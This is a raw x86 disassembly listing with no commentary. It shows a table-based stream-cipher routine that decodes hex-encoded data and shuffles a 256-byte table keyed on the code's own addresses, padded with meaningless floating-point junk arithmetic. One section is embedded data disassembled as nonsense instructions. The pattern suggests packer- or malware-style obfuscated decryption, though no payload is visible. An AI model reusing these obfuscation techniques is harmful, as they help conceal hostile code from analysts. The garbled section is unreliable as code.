or eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], eax
mov cl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], cl
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3264]
add cl, 1
mov byte [ebp - 0x3264], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp - 0x3277]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp - 0x32ba]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x32c2]
add eax, edx
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32c3]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x3264]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
xor ecx, eax
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov byte [ebp - 0x3277], cl
mov al, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], cl
cmp dword [ebp - 0x3340], 0
jle 0x4393ca
movsx dx, byte [ebp - 0x330a]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x302], dx
jmp 0x43915f
mov ecx, dword [ebp - 0x3500]
add ecx, 1
mov dword [ebp - 0x3500], ecx
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
mov eax, dword [ebp - 0x3500]
add eax, 1
mov dword [ebp - 0x3500], eax
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x372c]
movzx eax, byte [edx]
mov dword [ebp - 0x3604], eax
mov dword [ebp - 0x3608], 0x27
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x373c], edx
movsd xmm0, qword [0xa6ee78]
movsd qword [ebp - 0x457c], xmm0
movsd xmm0, qword [0xa6ec28]
movsd qword [ebp - 0x4a50], xmm0
movsd xmm0, qword [0xa6e988]
movsd qword [ebp - 0x474c], xmm0
movsd xmm0, qword [ebp - 0x4a50]
addsd xmm0, qword [ebp - 0x474c]
movsd qword [ebp - 0x4a50], xmm0
movsd xmm0, qword [ebp - 0x4a50]
subsd xmm0, qword [ebp - 0x474c]
movsd qword [ebp - 0x4a50], xmm0
movsd xmm0, qword [ebp - 0x457c]
subsd xmm0, qword [ebp - 0x474c]
movsd qword [ebp - 0x457c], xmm0
movsd xmm0, qword [ebp - 0x457c]
comisd xmm0, xmmword [ebp - 0x474c]
jbe 0x439522
movsd xmm0, qword [ebp - 0x457c]
addsd xmm0, qword [ebp - 0x4a50]
movsd qword [ebp - 0x457c], xmm0
movsd xmm0, qword [ebp - 0x474c]
subsd xmm0, qword [ebp - 0x457c]
movsd qword [ebp - 0x474c], xmm0
movsd xmm0, qword [ebp - 0x474c]
mulsd xmm0, qword [ebp - 0x457c]
movsd qword [ebp - 0x474c], xmm0
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x373c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3610], ecx
jmp 0x43956a
movsd xmm0, qword [ebp - 0x457c]
addsd xmm0, qword [ebp - 0x4a50]
movsd qword [ebp - 0x457c], xmm0
movsd xmm0, qword [ebp - 0x457c]
addsd xmm0, qword [ebp - 0x4a50]
movsd qword [ebp - 0x457c], xmm0
movsd xmm0, qword [ebp - 0x474c]
addsd xmm0, qword [ebp - 0x457c]
movsd qword [ebp - 0x474c], xmm0
mov dword [ebp - 0x3614], 0x15
mov edx, dword [ebp - 0x3604]
sub edx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], edx
mov eax, dword [ebp - 0x3610]
sub eax, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], eax
mov ecx, dword [ebp - 0x3618]
shl ecx, 4
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36a8]
or eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], eax
mov cl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], cl
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3264]
add cl, 1
mov byte [ebp - 0x3264], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp - 0x3277]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp - 0x32ba]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x32c2]
add eax, edx
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32c3]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x3264]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
xor ecx, eax
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov byte [ebp - 0x3277], cl
mov al, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], cl
cmp dword [ebp - 0x3340], 0
jle 0x439753
movsx dx, byte [ebp - 0x330a]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x302], dx
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x3500]
add edx, 1
mov dword [ebp - 0x3500], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x372c], eax
mov ecx, dword [ebp - 0x3730]
add ecx, dword [ebp - 0x372c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3604], edx
mov dword [ebp - 0x3608], 0x27
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x373c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x373c]
movzx eax, byte [edx]
mov dword [ebp - 0x3610], eax
mov dword [ebp - 0x3614], 0x15
mov ecx, dword [ebp - 0x3604]
sub ecx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], ecx
mov edx, dword [ebp - 0x3610]
sub edx, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], edx
mov eax, dword [ebp - 0x3618]
shl eax, 4
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36a8]
or edx, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], edx
mov al, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], al
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f28]
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x3264]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3264]
add al, 1
mov byte [ebp - 0x3264], al
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp - 0x3277]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
mov dl, byte [ebp - 0x32ba]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x32c2]
add edx, ecx
mov byte [ebp - 0x32c2], dl
movzx eax, byte [ebp - 0x32c3]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x3264]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
xor eax, edx
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
movzx ecx, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp + edx - 0x4f28]
xor eax, ecx
mov byte [ebp - 0x3277], al
mov dl, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], al
cmp dword [ebp - 0x3340], 0
jle 0x4399ad
movsx cx, byte [ebp - 0x330a]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x302], cx
mov eax, 2
imul ecx, eax, 0x28
mov dword [ebp - 0x51b0], ecx
cmp dword [ebp - 0x51b0], 0x52
jae 0x4399c6
jmp 0x4399cb
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x51b0]
mov word [ebp + eax - 0x300], dx
jmp 0x439a31
mov dword [ebp - 0x4834], 0
jmp 0x4399f8
mov ecx, dword [ebp - 0x4834]
add ecx, 1
mov dword [ebp - 0x4834], ecx
cmp dword [ebp - 0x4834], 0x29
jge 0x439a31
mov edx, dword [ebp - 0x4834]
shl edx, 1
mov dword [ebp - 0x51ac], edx
cmp dword [ebp - 0x51ac], 0x52
jae 0x439a1a
jmp 0x439a1f
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x51ac]
mov word [ebp + ecx - 0x300], ax
jmp 0x4399e9
push 0
push 1
mov edx, dword [ebp - 0x458c]
push edx
lea eax, [ebp - 0x204]
push eax
push 0
lea ecx, [ebp - 0x300]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x323c], 0
mov dword [ebp - 0x3238], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4754], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4668], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4668], xmm0
jmp 0x439aa8
movsd xmm0, qword [ebp - 0x4668]
addsd xmm0, qword [0xa6e348]
movsd qword [ebp - 0x4668], xmm0
movsd xmm0, qword [0xa6e920]
comisd xmm0, xmmword [ebp - 0x4668]
jbe 0x439b59
movsd xmm0, qword [0xa6e618]
mulsd xmm0, qword [ebp - 0x4668]
mulsd xmm0, qword [ebp - 0x4668]
movsd xmm1, qword [ebp - 0x4668]
mulsd xmm1, qword [ebp - 0x4668]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3a0]
mulsd xmm1, qword [ebp - 0x4668]
mulsd xmm1, qword [ebp - 0x4668]
addsd xmm1, qword [0xa6e438]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4754]
movsd qword [ebp - 0x4754], xmm0
movsd xmm0, qword [ebp - 0x4754]
comisd xmm0, xmmword [0xa6e560]
jbe 0x439b54
movsd xmm0, qword [0xa6e2c0]
mulsd xmm0, qword [ebp - 0x4668]
movsd xmm1, qword [ebp - 0x4754]
subsd xmm1, xmm0
movsd qword [ebp - 0x4754], xmm1
jmp 0x439a90
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4754]
jbe 0x439bd1
xor ah, byte [eax]
push ebx
jne 0x439be3
bound ebp, qword [edi + 0x2a]
jnp 0x439baf
dec edx
pop ebx
pop ebp
dec eax
sub al, 0x59
pop ecx
dec edi
and byte [ebx], ah
dec esi
and dl, byte [edx + 0x1d]
push esi
pop ss
push esi
adc eax, 0x224d2453
push ebx
sbb eax, 0x1a58244e
push ecx
push ds
push edx
sbb al, 0x53
pop ds
push ebx
sbb cl, byte [edx + 0x1d]
dec edi
push ds
dec esi
sbb byte [ecx + 0x15], dl
push edx
pop ds
push ecx
sbb al, 0x52
and edx, dword [esi + 0x18]
push esp
and ecx, dword [ebp + ebx + 0x49]
push ss
push eax
adc eax, 0x1a4a1e49
push ecx
adc eax, 0x214e1f57
dec esi
sbb ecx, dword [edi + 0x23]
push esi
push ss
dec edx
sbb dl, byte [ecx + 0x15]
push edi
pop ds
dec esi
and dword [esi + 0x1b], ecx
dec edi
and edx, dword [esi + 0x16]
push ebx
sbb byte [esp + 0x56], cl
push ss
push ecx
sbb cl, byte [ebp + 0x1f]
dec ebp
sbb cl, byte [ecx + ebx + 0x51]
jmp 0x43ad97
mov dword [ebp - 0x323c], 0x439b7a
mov dword [ebp - 0x3238], 0x439b66
mov eax, dword [ebp - 0x323c]
mov dword [ebp - 0x44dc], eax
mov ecx, dword [ebp - 0x3238]
mov dword [ebp - 0x5fc4], ecx
mov byte [ebp - 0x3fe5], 0x18
mov dword [ebp - 0x3964], 0
inc ebx
add byte [ebx - 0x323b7b], cl
dec dword [ecx - 0x44db7b]
dec dword [ebx - 0x323773]
dec dword [ecx - 0x5fc373]
inc esi
test dword [ebx], ebx
sar bh, 0xff
sbb bh, al
test dword [esi + eax*8 + 0xffff], ebx
add byte [eax], al
jmp 0x439c1f
mov edx, dword [ebp - 0x3964]
add edx, 1
mov dword [ebp - 0x3964], edx
cmp dword [ebp - 0x3964], 0x100
jae 0x439c40
mov eax, dword [ebp - 0x3964]
mov cl, byte [ebp - 0x3964]
mov byte [ebp + eax - 0x6b3c], cl
jmp 0x439c10
mov dword [ebp - 0x44d4], 0
mov byte [ebp - 0x334d], 0
mov dword [ebp - 0x3964], 0xff
jmp 0x439c6c
mov edx, dword [ebp - 0x3964]
sub edx, 1
mov dword [ebp - 0x3964], edx
cmp dword [ebp - 0x3964], 0
jbe 0x43a2d6
mov dword [ebp - 0x4b00], 0
mov dword [ebp - 0x4830], 1
mov eax, dword [ebp - 0x4830]
cmp eax, dword [ebp - 0x3964]
jae 0x439cad
mov ecx, dword [ebp - 0x4830]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4830], edx
jmp 0x439c8d
mov eax, dword [ebp - 0x44d4]
mov dword [ebp - 0x51a8], eax
cmp dword [ebp - 0x51a8], 3
ja case.default.0x439ccc
mov ecx, dword [ebp - 0x51a8]
jmp dword [ecx*4 + 0x46b540]
movzx edx, byte [ebp - 0x334d]
movzx ebx, byte [ebp + edx - 0x6b3c]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334d], bl
jmp 0x439db5
movzx eax, byte [ebp - 0x334d]
movzx ebx, byte [ebp + eax - 0x6b3c]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334d], bl
jmp 0x439db5
movzx ecx, byte [ebp - 0x334d]
movzx ebx, byte [ebp + ecx - 0x6b3c]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334d], bl
jmp 0x439db5
movzx edx, byte [ebp - 0x334d]
movzx ebx, byte [ebp + edx - 0x6b3c]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334d], bl
jmp 0x439db5
movzx eax, byte [ebp - 0x334d]
movzx ecx, byte [ebp + eax - 0x6b3c]
mov edx, dword [ebp - 0x5fc4]
add edx, dword [ebp - 0x44d4]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x334d], cl
mov ecx, dword [ebp - 0x44d4]
add ecx, 1
mov dword [ebp - 0x44d4], ecx
movzx edx, byte [ebp - 0x3fe5]
cmp dword [ebp - 0x44d4], edx
jb 0x43a1ed
movsd xmm0, qword [0xa6eeb8]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [0xa6edc8]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [0xa6eca0]
movsd qword [ebp - 0x4438], xmm0
movsd xmm0, qword [0xa6eb20]
movsd qword [ebp - 0x4370], xmm0
movsd xmm0, qword [0xa6e9b8]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [0xa6e768]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
mulsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x4090]
subsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x4090]
addsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x4438]
mulsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4438], xmm0
movsd xmm0, qword [ebp - 0x4438]
mulsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4438], xmm0
movsd xmm0, qword [ebp - 0x451c]
addsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x3e64]
comisd xmm0, xmmword [ebp - 0x4438]
jbe 0x43a13d
movsd xmm0, qword [ebp - 0x3e64]
divsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x3e64]
subsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
divsd xmm0, qword [ebp - 0x4438]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x4438]
mulsd xmm0, qword [ebp - 0x4370]
movsd qword [ebp - 0x4438], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
addsd xmm0, qword [ebp - 0x4438]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x4370]
subsd xmm0, qword [ebp - 0x4090]
movsd qword [ebp - 0x4370], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
divsd xmm0, qword [ebp - 0x4370]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4438]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4090]
mulsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x3e64]
addsd xmm0, qword [ebp - 0x3f5c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x4090]
mulsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x4370]
divsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4370], xmm0
movsd xmm0, qword [ebp - 0x4370]
comisd xmm0, xmmword [ebp - 0x3e64]
jbe 0x43a0a8
movsd xmm0, qword [ebp - 0x4090]
mulsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x3e64]
subsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
divsd xmm0, qword [ebp - 0x4438]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
addsd xmm0, qword [ebp - 0x4438]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x4370]
subsd xmm0, qword [ebp - 0x4090]
movsd qword [ebp - 0x4370], xmm0
movsd xmm0, qword [ebp - 0x4370]
subsd xmm0, qword [ebp - 0x4090]
movsd qword [ebp - 0x4370], xmm0
jmp 0x43a138
movsd xmm0, qword [ebp - 0x3f5c]
divsd xmm0, qword [ebp - 0x4370]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
divsd xmm0, qword [ebp - 0x4370]
movsd qword [ebp - 0x3f5c], xmm0
movsd xmm0, qword [ebp - 0x3e64]
mulsd xmm0, qword [ebp - 0x3f5c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x3e64]
divsd xmm0, qword [ebp - 0x3f5c]
movsd qword [ebp - 0x3e64], xmm0
movsd xmm0, qword [ebp - 0x4438]
addsd xmm0, qword [ebp - 0x4090]
movsd qword [ebp - 0x4438], xmm0
movsd xmm0, qword [ebp - 0x3f5c]
subsd xmm0, qword [ebp - 0x4370]
movsd qword [ebp - 0x3f5c], xmm0
jmp 0x43a1d7
movsd xmm0, qword [ebp - 0x4090]
subsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x451c]
mulsd xmm0, qword [ebp - 0x3f5c]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4370]
mulsd xmm0, qword [ebp - 0x4090]
movsd qword [ebp - 0x4370], xmm0
movsd xmm0, qword [ebp - 0x4090]
subsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x4090]
addsd xmm0, qword [ebp - 0x3e64]
movsd qword [ebp - 0x4090], xmm0
movsd xmm0, qword [ebp - 0x451c]
mulsd xmm0, qword [ebp - 0x3f5c]
movsd qword [ebp - 0x451c], xmm0
mov dword [ebp - 0x44d4], 0
movzx eax, byte [ebp - 0x3fe5]
movzx ecx, byte [ebp - 0x334d]
add ecx, eax
mov byte [ebp - 0x334d], cl
movzx edx, byte [ebp - 0x334d]
and edx, dword [ebp - 0x4830]
mov dword [ebp - 0x4314], edx
mov eax, dword [ebp - 0x4b00]
add eax, 1
mov dword [ebp - 0x4b00], eax
cmp dword [ebp - 0x4b00], 0xb
jbe 0x43a22c
mov eax, dword [ebp - 0x4314]
xor edx, edx
div dword [ebp - 0x3964]
mov dword [ebp - 0x4314], edx
mov ecx, dword [ebp - 0x4314]
cmp ecx, dword [ebp - 0x3964]
ja 0x439cad
mov edx, dword [ebp - 0x3964]
cmp edx, dword [ebp - 0x4314]
je 0x43a2d1
mov eax, dword [ebp - 0x4314]
movzx ecx, byte [ebp + eax - 0x6b3c]
mov edx, dword [ebp - 0x3964]
movzx eax, byte [ebp + edx - 0x6b3c]
xor eax, ecx
mov ecx, dword [ebp - 0x3964]
mov byte [ebp + ecx - 0x6b3c], al
mov edx, dword [ebp - 0x3964]
movzx eax, byte [ebp + edx - 0x6b3c]
mov ecx, dword [ebp - 0x4314]
movzx edx, byte [ebp + ecx - 0x6b3c]
xor edx, eax
mov eax, dword [ebp - 0x4314]
mov byte [ebp + eax - 0x6b3c], dl
mov ecx, dword [ebp - 0x4314]
movzx edx, byte [ebp + ecx - 0x6b3c]
mov eax, dword [ebp - 0x3964]
movzx ecx, byte [ebp + eax - 0x6b3c]
xor ecx, edx
mov edx, dword [ebp - 0x3964]
mov byte [ebp + edx - 0x6b3c], cl
jmp 0x439c5d
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x6b3c]
mov byte [ebp - 0x3314], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x6b3c]
mov byte [ebp - 0x332c], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x6b3c]
mov byte [ebp - 0x33b8], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x6b3c]
mov byte [ebp - 0x332d], cl
movzx edx, byte [ebp - 0x334d]
mov al, byte [ebp + edx - 0x6b3c]
mov byte [ebp - 0x3388], al
mov dword [ebp - 0x51a4], 0x52
cmp dword [ebp - 0x51a4], 2
jle 0x43ad43
mov ecx, dword [ebp - 0x51a4]
and ecx, 1
jne 0x43ad43
mov dword [ebp - 0x3968], 0
mov dword [ebp - 0x3e40], 0
mov edx, dword [ebp - 0x3e40]
add edx, 1
mov dword [ebp - 0x3e40], edx
mov dword [ebp - 0x44d8], 0
mov eax, dword [ebp - 0x3968]
shl eax, 1
mov dword [ebp - 0x44d8], eax
mov dword [ebp - 0x4418], 0
mov ecx, dword [ebp - 0x44dc]
add ecx, dword [ebp - 0x44d8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4418]
mov dword [ebp - 0x4418], edx
mov dword [ebp - 0x43bc], 0
mov eax, dword [ebp - 0x43bc]
add eax, 0x15
mov dword [ebp - 0x43bc], eax
mov dword [ebp - 0x44e0], 0
mov ecx, dword [ebp - 0x3968]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x44e0], edx
mov dword [ebp - 0x43b8], 0
mov eax, dword [ebp - 0x44dc]
add eax, dword [ebp - 0x44e0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x43b8]
mov dword [ebp - 0x43b8], ecx
mov dword [ebp - 0x4414], 0
mov edx, dword [ebp - 0x4414]
add edx, 0x49
mov dword [ebp - 0x4414], edx
mov dword [ebp - 0x43ac], 0
mov eax, dword [ebp - 0x4418]
sub eax, dword [ebp - 0x43bc]
add eax, dword [ebp - 0x43ac]
mov dword [ebp - 0x43ac], eax
mov dword [ebp - 0x4410], 0
mov ecx, dword [ebp - 0x43b8]
sub ecx, dword [ebp - 0x4414]
add ecx, dword [ebp - 0x4410]
mov dword [ebp - 0x4410], ecx
mov dword [ebp - 0x44e4], 0
mov edx, dword [ebp - 0x43ac]
shl edx, 4
mov dword [ebp - 0x44e4], edx
mov dword [ebp - 0x4460], 0
mov eax, dword [ebp - 0x4410]
mov dword [ebp - 0x4460], eax
mov dword [ebp - 0x4500], 0
mov ecx, dword [ebp - 0x44e4]
or ecx, dword [ebp - 0x4460]
mov dword [ebp - 0x4500], ecx
mov byte [ebp - 0x33b7], 0
mov dl, byte [ebp - 0x4500]
mov byte [ebp - 0x33b7], dl
mov byte [ebp - 0x33b9], 0
movzx eax, byte [ebp - 0x3388]
mov cl, byte [ebp + eax - 0x6b3c]
mov byte [ebp - 0x33b9], cl
movzx edx, byte [ebp - 0x3314]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx ecx, byte [ebp - 0x332c]
add ecx, eax
mov byte [ebp - 0x332c], cl
mov dl, byte [ebp - 0x3314]
add dl, 1
mov byte [ebp - 0x3314], dl
movss xmm0, dword [0xa6f308]
movss dword [ebp - 0x4310], xmm0
movss xmm0, dword [0xa6f264]
movss dword [ebp - 0x46b4], xmm0
movss xmm0, dword [0xa6f158]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [0xa6f058]
movss dword [ebp - 0x41e0], xmm0
movss xmm0, dword [ebp - 0x3a60]
mulss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x3a60]
subss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x3a60]
subss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x3a60]
mulss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x41e0]
comiss xmm0, dword [ebp - 0x3a60]
jbe 0x43a632
movss xmm0, dword [ebp - 0x3a60]
mulss xmm0, dword [ebp - 0x4310]
